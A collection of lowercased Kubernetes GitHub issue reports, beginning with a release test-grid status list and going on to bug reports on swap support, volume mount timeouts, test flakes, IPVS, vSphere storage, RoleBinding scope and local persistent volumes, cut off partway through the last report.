https://k8s-testgrid.appspot.com/release-1.8-upgrade-skew gke-cvm-1-6-gci-1-8-upgrade-master \r   - beforesuite   ???\r   - ~fail:  k8s.io  dns should provide dns for externalname services    50274  https://github.com/kubernetes/kubernetes/issues/50274    pr:     53015  https://github.com/kubernetes/kubernetes/issues/53015  ~\r   - ~non-blocking wont-fix fail:  k8s.io  statefulset  k8s.io  basic statefulset functionality  statefulsetbasic  should not deadlock when a pod's predecessor fails    52808  https://github.com/kubernetes/kubernetes/issues/52808  ~\r   - ~non-blocking wont-fix fail:  k8s.io  statefulset  k8s.io  basic statefulset functionality  statefulsetbasic  should provide basic identity    52808  https://github.com/kubernetes/kubernetes/issues/52808  ~\r -  gke-cvm-1-6-gci-1-8-upgrade-cluster  https://k8s-testgrid.appspot.com/release-1.8-upgrade-skew gke-cvm-1-6-gci-1-8-upgrade-cluster \r   - overall failing ???\r   - ~fail:  k8s.io  dns should provide dns for externalname services    50274  https://github.com/kubernetes/kubernetes/issues/50274    pr:     53015  https://github.com/kubernetes/kubernetes/issues/53015  ~\r   - ~non-blocking wont-fix fail:  k8s.io  statefulset  k8s.io  basic statefulset functionality  statefulsetbasic  should not deadlock when a pod's predecessor fails    52808  https://github.com/kubernetes/kubernetes/issues/52808  ~\r   - ~non-blocking wont-fix faill:  k8s.io  statefulset  k8s.io  basic statefulset functionality  statefulsetbasic  should provide basic identity    52808  https://github.com/kubernetes/kubernetes/issues/52808  ~\r -  gke-cvm-1-6-gci-1-8-upgrade-cluster-new  https://k8s-testgrid.appspot.com/release-1.8-upgrade-skew gke-cvm-1-6-gci-1-8-upgrade-cluster-new \r   - flaky, unlikely to see 3 passes in a row\r   - most flakes:  sig-cluster-lifecycle  upgrade  feature:upgrade  cluster upgrade should maintain a functioning cluster  feature:clusterupgrade   https://github.com/kubernetes/kubernetes/issues/53145 \r -  gke-cvm-1-7-gci-1-8-upgrade-master  https://k8s-testgrid.appspot.com/release-1.8-upgrade-skew gke-cvm-1-7-gci-1-8-upgrade-master \r   - long suite: ~36h to achieve three consecutive passes \r   - failing  unable to dump cluster logs \r -  gke-cvm-1.7-gci-1.8-upgrade-cluster  https://k8s-testgrid.appspot.com/release-1.8-upgrade-skew gke-cvm-1.7-gci-1.8-upgrade-cluster \r   - long suite: ~36h to achieve three consecutive passes \r   - failing  unable to dump cluster logs \r -  gke-cvm-1.7-gci-1.8-upgrade-cluster-new  https://k8s-testgrid.appspot.com/release-1.8-upgrade-skew gke-cvm-1.7-gci-1.8-upgrade-cluster-new \r   - long suite: ~36h to achieve three consecutive passes \r   - failing  unable to dump cluster logs \r -  gce-1.7-1.8-gci-kubectl-skew  https://k8s-testgrid.appspot.com/release-1.8-upgrade-skew gce-1.7-1.8-gci-kubectl-skew \r -  gce-1.8-1.7-gci-kubectl-skew  https://k8s-testgrid.appspot.com/release-1.8-upgrade-skew gce-1.8-1.7-gci-kubectl-skew \r -  gke-1.8-1.7-gci-kubectl-skew  https://k8s-testgrid.appspot.com/release-1.8-upgrade-skew gke-1.8-1.7-gci-kubectl-skew \r -  gke-1.7-1.8-gci-kubectl-skew  https://k8s-testgrid.appspot.com/release-1.8-upgrade-skew gke-1.7-1.8-gci-kubectl-skew \r -  gce-1.7-1.8-gci-kubectl-skew-serial  https://k8s-testgrid.appspot.com/release-1.8-upgrade-skew gce-1.7-1.8-gci-kubectl-skew-serial \r -  gce-1.8-1.7-gci-kubectl-skew-serial  https://k8s-testgrid.appspot.com/release-1.8-upgrade-skew gce-1.8-1.7-gci-kubectl-skew-serial \r -  gke-1.8-1.7-gci-kubectl-skew-serial  https://k8s-testgrid.appspot.com/release-1.8-upgrade-skew gke-1.8-1.7-gci-kubectl-skew-serial \r -  gke-1.7-1.8-gci-kubectl-skew-serial  https://k8s-testgrid.appspot.com/release-1.8-upgrade-skew gke-1.7-1.8-gci-kubectl-skew-serial \r -  gce-1.7-1.8-upgrade-master  https://k8s-testgrid.appspot.com/release-1.8-upgrade-skew gce-1.7-1.8-upgrade-master \r   - long suite: ~36h to achieve three consecutive passes \r   - ~non-release-blocker fail:  k8s.io  network partition  disruptive   slow   k8s.io  pods should return to running and ready state after network partition is healed all pods on the unreachable node should be marked as notready upon the node turn notready and all pods should be mark back to ready when the node get back to ready before pod eviction timeout   47820 ~\r -  gce-1.7-1.8-upgrade-cluster  https://k8s-testgrid.appspot.com/release-1.8-upgrade-skew gce-1.7-1.8-upgrade-cluster \r   - long suite: ~36h to achieve three consecutive passes\r   - ~non-release-blocker fail:  k8s.io  network partition  disruptive   slow   k8s.io  pods should return to running and ready state after network partition is healed all pods on the unreachable node should be marked as notready upon the node turn notready and all pods should be mark back to ready when the node get back to ready before pod eviction timeout   47820 ~\r   - ~non-release-blocker fail:  k8s.io  network partition  disruptive   slow   k8s.io   job  should create new pods when node is partitioned   47820 ~\r   - ~non-release-blocker fail:  k8s.io  network partition  disruptive   slow   k8s.io   replicationcontroller  should eagerly create replacement pod during network partition when termination grace is non-zero   47820 ~\r   - ~non-release-blocker fail:  k8s.io  network partition  disruptive   slow   k8s.io   replicationcontroller  should recreate pods scheduled on the unreachable node and allow scheduling of pods on a node after it rejoins the cluster   47820 ~\r   - ~non-release-blocker fail:  k8s.io  network partition  disruptive   slow   k8s.io   statefulset  should not reschedule stateful pods if there is a network partition  slow   disruptive    47820 ~\r -  gce-1.7-1.8-upgrade-cluster-new  https://k8s-testgrid.appspot.com/release-1.8-upgrade-skew gce-1.7-1.8-upgrade-cluster-new \r   - long suite: ~36h to achieve three consecutive passes\r   - ~non-release-blocker fail:  k8s.io  network partition  disruptive   slow   k8s.io  pods should return to running and ready state after network partition is healed all pods on the unreachable node should be marked as notready upon the node turn notready and all pods should be mark back to ready when the node get back to ready before pod eviction timeout   47820 ~\r   - ~non-release-blocker fail:  k8s.io  network partition  disruptive   slow   k8s.io   job  should create new pods when node is partitioned   47820 ~\r   - ~non-release-blocker fail:  k8s.io  network partition  disruptive   slow   k8s.io   replicationcontroller  should eagerly create replacement pod during network partition when termination grace is non-zero   47820 ~\r   - ~non-release-blocker fail:  k8s.io  network partition  disruptive   slow   k8s.io   replicationcontroller  should recreate pods scheduled on the unreachable node and allow scheduling of pods on a node after it rejoins the cluster   47820 ~\r   - ~non-release-blocker fail:  k8s.io  network partition  disruptive   slow   k8s.io   statefulset  should not reschedule stateful pods if there is a network partition  slow   disruptive    47820 ~\r -  gce-1.8-1.7-downgrade-cluster  https://k8s-testgrid.appspot.com/release-1.8-upgrade-skew gce-1.8-1.7-downgrade-cluster \r   - long suite: ~21h to achieve three consecutive passes\r   - ~non-release-blocker fail:  k8s.io  network partition  disruptive   slow   k8s.io  pods should return to running and ready state after network partition is healed all pods on the unreachable node should be marked as notready upon the node turn notready and all pods should be mark back to ready when the node get back to ready before pod eviction timeout   47820 ~\r   - ~non-release-blocker fail:  k8s.io  network partition  disruptive   slow   k8s.io   job  should create new pods when node is partitioned   47820 ~\r   - ~non-release-blocker fail:  k8s.io  network partition  disruptive   slow   k8s.io   replicationcontroller  should eagerly create replacement pod during network partition when termination grace is non-zero   47820 ~\r   - ~non-release-blocker fail:  k8s.io  network partition  disruptive   slow   k8s.io   replicationcontroller  should recreate pods scheduled on the unreachable node and allow scheduling of pods on a node after it rejoins the cluster   47820 ~\r   - ~non-release-blocker fail:  k8s.io  network partition  disruptive   slow   k8s.io   statefulset  should not reschedule stateful pods if there is a network partition  slow   disruptive    47820 ~\r -  gce-1.8-1.7-downgrade-cluster-parallel  https://k8s-testgrid.appspot.com/release-1.8-upgrade-skew gce-1.8-1.7-downgrade-cluster-parallel \r -  gke-1.8-1.7-downgrade-cluster  https://k8s-testgrid.appspot.com/release-1.8-upgrade-skew gke-1.8-1.7-downgrade-cluster \r   - long suite: ~21h to achieve three consecutive passes\r   - fail:  k8s.io  schedulerpredicates  serial  validates resource limits of pods that are allowed to run  conformance     53066  https://github.com/kubernetes/kubernetes/issues/53066  \r   - flaky: hpa-upgrade\r -  gke-1.8-1.7-downgrade-cluster-parallel  https://k8s-testgrid.appspot.com/release-1.8-upgrade-skew gke-1.8-1.7-downgrade-cluster-parallel \r   - flaky: hpa-upgrade\r \r ---\r \r  release-master-blocking  https://k8s-testgrid.appspot.com/release-master-blocking \r \r -  gce-scale-correctness  https://k8s-testgrid.appspot.com/release-master-blocking gce-scale-correctness \r   - long suite, use solely as information to make sure no new scale issues have appeared\r -  gce-scale-performance  https://k8s-testgrid.appspot.com/release-master-blocking gce-scale-performance \r   - long suite, use solely as information to help decide whether api call latencies are still out of slo bounds on large clusters    51899  https://github.com/kubernetes/kubernetes/issues/51899  \r \r  / 

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r  >  \r \r   what happened  :\r \r kubelet/kubernetes 1.8 does not work with swap enabled on linux machines.\r \r i have found this original issue https://github.com/kubernetes/kubernetes/issues/31676\r this pr https://github.com/kubernetes/kubernetes/pull/31996 \r and last change which enabled it by default https://github.com/kubernetes/kubernetes/commit/71e8c8eba43a0fade6e4edfc739b331ba3cc658a\r \r if kubernetes does not know how to handle memory eviction when swap is enabled - it should find a way how to do that, but not asking to get rid of swap.\r \r please follow kernel.org  chapter 11  swap management  https://www.kernel.org/doc/gorman/html/understand/understand014.html , for example\r \r > the casual reader may think that with a sufficient amount of memory, swap is unnecessary but this brings us to the second reason. a significant number of the pages referenced by a process early in its life may only be used for initialisation and then never used again. it is better to swap out those pages and create more disk buffers than leave them resident and unused.\r \r in case of running a lot of node/java applications i have seen always a lot of pages are swapped, just because they aren't used anymore.\r \r   what you expected to happen  :\r \r kubelet/kubernetes should work with swap enabled. i believe instead of disabling swap and giving users no choices kubernetes should support more use cases and various workloads, some of them can be an applications which might rely on caches.\r \r i am not sure how kubernetes decided what to kill with memory eviction, but considering that linux has this capability, maybe it should align with how linux does that? https://www.kernel.org/doc/gorman/html/understand/understand016.html\r \r i would suggest to rollback the change for failing when swap is enabled, and revisit how the memory eviction works currently in kubernetes. swap can be important for some workloads. \r \r   how to reproduce it  as minimally and precisely as possible   :\r \r run kubernetes/kublet with default settings on linux box\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration  :\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r \r  cc @mtaufen @vishh @derekwaynecarr @dims

 \r   what happened  :\r our deployments depend on pvc/pv hostpaths as well as configmaps.  the volumes are unique for users, but users may have multiple deployments that share them.\r in production  but not in dev  we are seeing systematic issues where deployments take a long time to start  order of 10 minutes , and we see a lot of errors in the logs saying \ unable to mount volumes\  / \ timeout expired waiting for volumes to attach/mount\ .\r hostpaths are pointing at a local nfs mount  we did also try direct individual nfs mounts from deployments, but thought switching to a single mount might help .\r \r   what you expected to happen  :\r we'd expect deployments to start up promptly with no problems mounting.  our nfs servers are under fairly heavy load, so slow, but they are there.\r \r   how to reproduce it  as minimally and precisely as possible   :\r we've struggled to reproduce this in dev environments, so load may be a factor.\r \r \r   anything else we need to know?  :\r \r example log line:\r \r    \r kubelet 22504 : e0109 18:47:25.720040   22504 kubelet.go:1628  unable to mount volumes for pod \ harrynu-234-deployment-799c88df7d-bsw2q_default 4a9d46ee-f56c-11e7-a531-0a7ee8fefcaa \ : timeout expired waiting for volumes to attach/mount for pod \ default\ /\ harrynu-234-deployment-799c88df7d-bsw2q\ . list of unattached/unmounted volumes= homedir varwww tmp varlog etcpasswd etcgroup etcsubversionservers etcpipconf binrunscheduledtaskpy bingist-runnersh binuserwsgiwrapperpy binlaunchbashinvirtualenvpy binpastartdjangowebappwithvirtualenvpy binwsgifiletemplatepy binsnakesaypy default-token-vd4qb ; skipping pod\r \r kubelet 22504 : e0109 18:47:25.721274   22504 pod_workers.go:182  error syncing pod 4a9d46ee-f56c-11e7-a531-0a7ee8fefcaa  \ harrynu-234-deployment-799c88df7d-bsw2q_default 4a9d46ee-f56c-11e7-a531-0a7ee8fefcaa \  , skipping: timeout expired waiting for volumes to attach/mount for pod \ default\ /\ harrynu-234-deployment-799c88df7d-bsw2q\ . list of unattached/unmounted volumes= homedir varwww tmp varlog etcpasswd etcgroup etcsubversionservers etcpipconf binrunscheduledtaskpy bingist-runnersh binuserwsgiwrapperpy binlaunchbashinvirtualenvpy binpastartdjangowebappwithvirtualenvpy binwsgifiletemplatepy binsnakesaypy default-token-vd4qb \r \r    \r \r   environment  :\r - kubernetes version  use  kubectl version  : \r    \r client version: version.info{major:\ 1\ , minor:\ 8\ , gitversion:\ v1.8.3\ , gitcommit:\ f0efb3cb883751c5ffdbe6d515f3cb4fbe7b7acd\ , gittreestate:\ clean\ , builddate:\ 2017-11-08t18:39:33z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 8\ , gitversion:\ v1.8.4\ , gitcommit:\ 9befc2b8928a9426501d3bf62f72849d5cbcd5a3\ , gittreestate:\ clean\ , builddate:\ 2017-11-20t05:17:43z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r - cloud provider or hardware configuration:  aws\r - os  e.g. from /etc/os-release : ubuntu 16.04.3 lts\r - kernel  e.g.  uname -a  : 4.4.0-101-generic  124-ubuntu smp fri nov 10 18:29:59 utc 2017 x86_64\r - install tools:\r - others:\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r  \r  \r /assign\r \r \r   what happened  :\r \r   what you expected to happen  :\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

start seeing flake in test-cmd deployment tests since 3/26 https://k8s-testgrid.appspot.com/presubmits-kubernetes-blocking pull-kubernetes-integration\r \r the failure seems related to  scale  subresource?\r    \r test-cmd run_deployment_tests 26s\r go run hack/e2e.go -v --test --test_args='--ginkgo.focus=test\\-cmd\\srun\\_deployment\\_tests$'\r  ... \r error: could not fetch the scale for replicasets.extensions nginx-deployment-747f8b5dd: replicasets/scale.extensions \ nginx-deployment-747f8b5dd\  not found\r !!!  0327 00:27:29  call tree:\r !!!  0327 00:27:29   1: /go/src/k8s.io/kubernetes/hack/make-rules/../../third_party/forked/shell2junit/sh2ju.sh:47 run_deployment_tests ... \r !!!  0327 00:27:29   2: /go/src/k8s.io/kubernetes/hack/make-rules/../../third_party/forked/shell2junit/sh2ju.sh:112 eval ... \r !!!  0327 00:27:29   3: /go/src/k8s.io/kubernetes/hack/make-rules/test-cmd-util.sh:107 julog ... \r !!!  0327 00:27:29   4: /go/src/k8s.io/kubernetes/hack/make-rules/test-cmd-util.sh:5076 record_command ... \r !!!  0327 00:27:29   5: hack/make-rules/test-cmd.sh:105 runtests ... \r    \r could  60455 be related?\r \r cc @p0lyn0mial @kubernetes/sig-cli-bugs

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if this may be security issue, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r @k8s-sig-storage-bugs\r cc @msau42 \r \r   what happened  :\r volumebindingstress integration test started flaking around 4/26.  originally thought it was due to  62929, but even after reverting, the test is still flaking.\r logs: https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/pr-logs/pull/63045/pull-kubernetes-integration/9817/\r testgrid: https://k8s-testgrid.appspot.com/presubmits-kubernetes-blocking pull-kubernetes-integration

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r  \r   what happened  :\r \r scheduler extender preemption should respect  isinterested    in this line:\r \r https://github.com/kubernetes/kubernetes/blob/86b53ff74d70ce61fce80ef1b79c0e9ebaaf67fe/pkg/scheduler/core/generic_scheduler.go l285\r \r   what you expected to happen  :\r \r as the title said.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r start a scheduler extender w/o interest in some given pod, preemption will happen on extender side.\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

failing jobs\r  sig-release-master-upgrade gke-gci-1.10-gci-master-upgrade-master  https://k8s-testgrid.appspot.com/sig-release-master-upgrade gke-gci-1.10-gci-master-upgrade-master \r   failing tests\r   sig-instrumentation  cluster level logging implemented by stackdriver should ingest events  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gke-gci-new-gci-master-upgrade-master/1351 \r   sig-instrumentation  cluster level logging implemented by stackdriver should ingest logs  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gke-gci-new-gci-master-upgrade-master/1351 \r   triage results\r  cluster level logging implemented by stackdriver should ingest events and cluster level logging implemented by stackdriver should ingest logs  https://storage.googleapis.com/k8s-gubernator/triage/index.html?job=ci-kubernetes-e2e-gke-gci-new-gci-master-upgrade-master \r \r /cc @tpepper @aishsundar \r   /  /milestone v1.12

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r  \r   what happened  :\r we have keepalived deployed on kubernetes master nodes together with haproxy which loadbalance to all apiservers. the same vip is used as externalip for some other services like kube dashboard to expose this services out of kubernetes cluster.\r \r it works perfectly fine with kube-proxy with iptables mode but when kube-proxy is reconfigured to use ipvs mode we are not able to connect to this vip.\r \r the problem is that in this case vip is assigned to kube-ipvs0 interface and nodes are not able to commiunicate with api and are in notready state.\r \r the only think i have in mind to mitigate this problem is to not mixed vip and externalip with services but maybe we can do this differently.\r \r   what you expected to happen  :\r should work quite same as kube-proxy with iptables mode\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.11.1\r - cloud provider or hardware configuration: baremetal\r - os  e.g. from /etc/os-release : ubuntu 16.04\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line:\r >\r >  \r   \r \r   what happened  :\r putting this in as a feature request as the original vcp use case did not support multi-az topologies. deployment of persistent volumes through vcp does not work when vcp is deployed in multi-az topologies, e.g. where each az maps to a dedicated vsphere cluster. volume creation requires shared datastore s :\r \r https://github.com/kubernetes/kubernetes/blob/9d260ff163987b899020ca7887e52d660e4d7d39/pkg/cloudprovider/providers/vsphere/vsphere_util.go l131\r \r   what you expected to happen  :\r it should be a supported scenario to deploy kubernetes with the vcp in environments where clusters do not share datastores, e.g. in pks multi-az deployments or simply where there's  n  numbers of azs for failure tolerance which don't share any resources  same model as in the public cloud .\r \r additional information/useful reading:\r \r - https://groups.google.com/d/msg/kubernetes-sig-architecture/op7yj-fw5am/icvl_eb_aqaj\r - https://github.com/janetkuo/community/blob/a53995e654b0c4d424ed382224fcb8c049bea91e/keps/sig-apps/0008-topology-aware-workload-controllers.md\r \r possible fix:\r \r now that the vcp  supports  https://github.com/kubernetes/kubernetes/pull/66795  well-known labels  region/zone , this could be used as a foundation for the implementation:\r \r -     implement  pvlabeler interface \r   - https://github.com/kubernetes/kubernetes/blob/0e31372b2fa6dc9e6a32f4be09c088ec0adfdf8d/pkg/cloudprovider/cloud.go l221\r   - the disk should have information of the zone it is deployed to or use a logic to find it out indirectly via the host labels it is mapped to\r -     fix vcp to not fail when a datastore is not shared across all azs  see below \r -     some code validation/cleanup  see below \r \r   how to reproduce it  as minimally and precisely as possible   :\r try to deploy a pod with pvs in a kubernetes on vsphere environment that is based on multiple distinct vsphere clusters in a datacenter with cluster local storage, i.e. storage not shared between clusters.\r \r   anything else we need to know?  :\r \r validate the following statements/ code lines for correctness:\r \r -     https://github.com/kubernetes/kubernetes/pull/55845 mentions that shared storage is required even when running k8s clusters spanning vsphere data centers. i am not sure the code covers this scenario as  getdatastoresforendpointvc    only validates against a particular datacenter. please comment/correct me.\r \r   environment  :\r - kubernetes version  use  kubectl version  : any\r - cloud provider or hardware configuration: vsphere

<!-- please use this template while reporting a bug and provide as much info as possible. not doing so may result in your bug not being addressed in a timely manner. thanks!-->\r \r \r   what happened  :\r the kube-proxy.log is full of the following log lines:\r w0213 00:00:40.381140       1 endpoints.go:166  error while parsing endpointslastchangetriggertimeannotation: ''. error is parsing time \ \  as \ 2006-01-02t15:04:05.999999999z07:00\ : cannot parse \ \  as \ 2006\ \r \r this is caused by the recent merge of https://github.com/kubernetes/kubernetes/pull/71999\r \r   what you expected to happen  :\r we shouldn't log warning when endpointslastchangetriggertimeannotation is not set\r \r   how to reproduce it  as minimally and precisely as possible   :\r set-up cluster, create some endpoints objects, go to the any node and open the kube-proxy.log\r \r

which jobs are failing  :\r    gce-new-master-upgrade-cluster  https://testgrid.k8s.io/sig-release-master-upgrade gce-new-master-upgrade-cluster \r \r   which test s  are failing  :\r - csi volumes  driver: pd.csi.storage.gke.io  serial   testpattern: dynamic pv  default fs   subpath should unmount if pod is force deleted while kubelet is down  disruptive  slow \r - in-tree volumes  driver: gluster   testpattern: inline-volume  default fs   subpath should unmount if pod is force deleted while kubelet is down  disruptive  slow \r - in-tree volumes  driver: gluster   testpattern: pre-provisioned pv  default fs   subpath should unmount if pod is force deleted while kubelet is down  disruptive  slow \r - in-tree volumes  driver: gcepd   testpattern: pre-provisioned pv  default fs   subpath should unmount if pod is force deleted while kubelet is down  disruptive  slow \r \r   since when has it been failing  : \r 2019-02-23\r \r   testgrid link  :\r https://gubernator.k8s.io/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-new-master-upgrade-cluster/2809\r \r   reason for failure  :\r    \r expected grep stdout to be empty  i.e. no mount found .\r    \r \r   anything else we need to know  :\r coincides with k/k commit  e0f56a72e  https://github.com/kubernetes/kubernetes/commit/e0f56a72e .\r \r cc @mortent @kacole2 @alejandrox1 @mariantalla\r \r  / 

<!-- please use this template while reporting a bug and provide as much info as possible. not doing so may result in your bug not being addressed in a timely manner. thanks!\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/\r -->\r \r \r   what happened  :\r kubernetes version  v1.12.6-eks-d69f1b \r \r after removing   rolebinding   with a   clusterrole   as service account \ access-test\ , i get \r    \r $ k auth can-i \  \  rolebindings --all-namespaces \r no - rbac: clusterrole.rbac.authorization.k8s.io \ access-test-clusterrole\  not found\r    \r \r after applying the following   clusterrole   and   rolebinding   \r    \r kind: clusterrole\r apiversion: rbac.authorization.k8s.io/v1\r metadata:\r   name: access-test-clusterrole\r rules:\r - apigroups:  \ authorization.k8s.io\ , \ rbac.authorization.k8s.io\   \r   resources:  \ localsubjectaccessreviews\ , \ rolebindings\ , \ roles\  \r   verbs:  \  \  \r ---\r apiversion: rbac.authorization.k8s.io/v1\r kind: rolebinding\r metadata:\r   name: access-test-rolebinding\r   namespace: access-ns\r roleref:\r   apigroup: rbac.authorization.k8s.io\r   kind: clusterrole\r   name: access-test-clusterrole\r subjects:\r - kind: serviceaccount\r   name: access-test\r   namespace: access-ns\r    \r \r as service account \ access-test\   current namespace already set by kubens , i get \r    \r $ k auth can-i \  \  rolebindings \r yes    expected \r    \r \r    $ k auth can-i \  \  rolebindings --all-namespaces \r yes   not expected \r     \r   what you expected to happen  :\r as i used a   rolebinding   the api access should be limited in namespace not clusterwise. expected output\r    \r $ k auth can-i \  \  rolebindings --all-namespaces \r no  \r     \r \r   how to reproduce it  as minimally and precisely as possible   :\r create a service account in a namespace and create kubeconfig for that service account using user token . try authorization for a resource in an apigroup. result should be \ no\ \r now create a clusterrole and rolebinding in service account namespace  allowing the previous resource and apigroup. \r \r access should be limited within namespace not clusterwise as   rolebinding   is used instead of   clusterrolebinding  \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g:  cat /etc/os-release  :\r - kernel  e.g.  uname -a  :\r - install tools:\r - network plugin and version  if this is a network-related bug :\r - others:\r

the code is hard to understand and debug. related issue:  14652.  cc: @gmarek @davidopp @smarterclayton @fgrzadkowski @mikedanese

for example, ignore pods not found error when trying to label it. https://github.com/kubernetes/kubernetes/issues/22300 issuecomment-191413641  we should also avoid retrying when the error is perm-failed  retry won't help , and emit events. we should also have pre-condition for retrying updates.   @kubernetes/sig-config

we only report created/started events for containers today. having informational events for all container life cycle changes is very useful. for example, it could help to get oom events more efficiently   37141 .\r \r cc @kubernetes/sig-node

we need automated tests to verify federation upgrades. here are the list of things we need to do:\r \r   define what it means to upgrade test federation.\r   define the apis/features we want to include in the tests.\r   define the exact tests and implement them.\r   setup the infrastructure to run these tests: jenkins jobs, test-grid, etc.\r \r cc @kubernetes/sig-federation @matchstick @nikhiljindal

environment  :\r -   cloud provider or hardware configuration  : digital ocean  unimplemented? \r \r digital ocean has just released their load balancer feature to general availability. \r \r https://www.digitalocean.com/products/load-balancer/\r \r now that block storage  39326 is also available, i think digital ocean should now be a good candidate for a new cloud provider implementation.\r \r https://github.com/kubernetes/kubernetes/tree/master/pkg/cloudprovider/providers\r \r currently it seems no work has begun towards this task. this is obviously a major effort, but i'd be willing to contribute. hopefully some engineers from digital ocean would be willing to contribute as well, as it's their platform we would be adding support for. if nothing else, i think we should flag the appropriate teams and mark this as a \ will add eventually\  feature.\r \r also related:\r \r  -  32334\r  -  34783\r \r i would argue for closing the old issues and consolidating the digital ocean cloud provider notes into one issue.\r \r cc @wardviaene @leshik @justinsb

upgrade failed: https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-1-6-1-7-upgrade-cluster-new/97\r \r the master was upgraded, but a later  kubectl drain  failed, then upgrade.sh gave up. i think the  kubectl  commands should retry: https://github.com/kubernetes/kubernetes/blob/master/cluster/gce/upgrade.sh l379\r \r the network did seem to be unstable, when validate-cluster.sh ran  kubectl get nodes  earlier, first two succeeded, then it failed 5 times, and then eventually succeeded again... so retry the  kubectl drain  is necessary.\r \r cc @dchen1107 \r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r  \r   what happened  :\r i was using the local storage feature, but found that the pv can always be created even if the local path does not exist. this will cause my pod failed to start.\r \r   what you expected to happen  :\r can we make the pv creation failed?\r \r   how to reproduce it  as minimally and precisely as possible   :\r 1  two nodes in the cluster with local persistent volume enabled by feature gateway.\r    \r root@k8s001:~/cases/local-storage  kubectl get nodes\r name      status    age       version\r k8s001    ready     29d       v1.8.0-alpha.1.685+950a09d982286a\r k8s004    ready     5h        v1.8.0-alpha.1.685+950a09d982286a\r    \r 2  create a pv with a non-exist local path, please note  /mnt/disks/vol11  does not exist on any of the hosts in the cluster.\r    \r root@k8s001:~/cases/local-storage-fail  cat pv.yaml\r apiversion: v1\r kind: persistentvolume\r metadata:\r   name: example-local-pv\r   annotations:\r     \ volume.alpha.kubernetes.io/node-affinity\ : '{\r       \ requiredduringschedulingignoredduringexecution\ : {\r         \ nodeselectorterms\ :  \r           { \ matchexpressions\ :  \r             { \ key\ : \ kubernetes.io/hostname\ ,\r               \ operator\ : \ in\ ,\r               \ values\ :  \ k8s001\  \r             }\r            }\r           }\r         }'\r spec:\r   capacity:\r     storage: 1gi\r   accessmodes:\r   - readwriteonce\r   persistentvolumereclaimpolicy: delete\r   storageclassname: local-storage\r   local:\r     path: /mnt/disks/vol11\r root@k8s001:~/cases/local-storage-fail  kubectl create -f ./pv.yaml\r persistentvolume \ example-local-pv\  created\r root@k8s001:~/cases/local-storage-fail  kubectl get pv\r name               capacity   accessmodes   reclaimpolicy   status      claim     storageclass    reason    age\r example-local-pv   1gi        rwo           delete          available             local-storage             1s\r    \r \r 3  create a pvc based on the pv\r    \r root@k8s001:~/cases/local-storage-fail  cat pvc.yaml\r kind: persistentvolumeclaim\r apiversion: v1\r metadata:\r   name: example-local-claim\r spec:\r   accessmodes:\r   - readwriteonce\r   resources:\r     requests:\r       storage: 1gi\r   storageclassname: local-storage\r root@k8s001:~/cases/local-storage-fail  kubectl create -f ./pvc.yaml\r persistentvolumeclaim \ example-local-claim\  created\r root@k8s001:~/cases/local-storage-fail  kubectl get pvc\r name                  status    volume             capacity   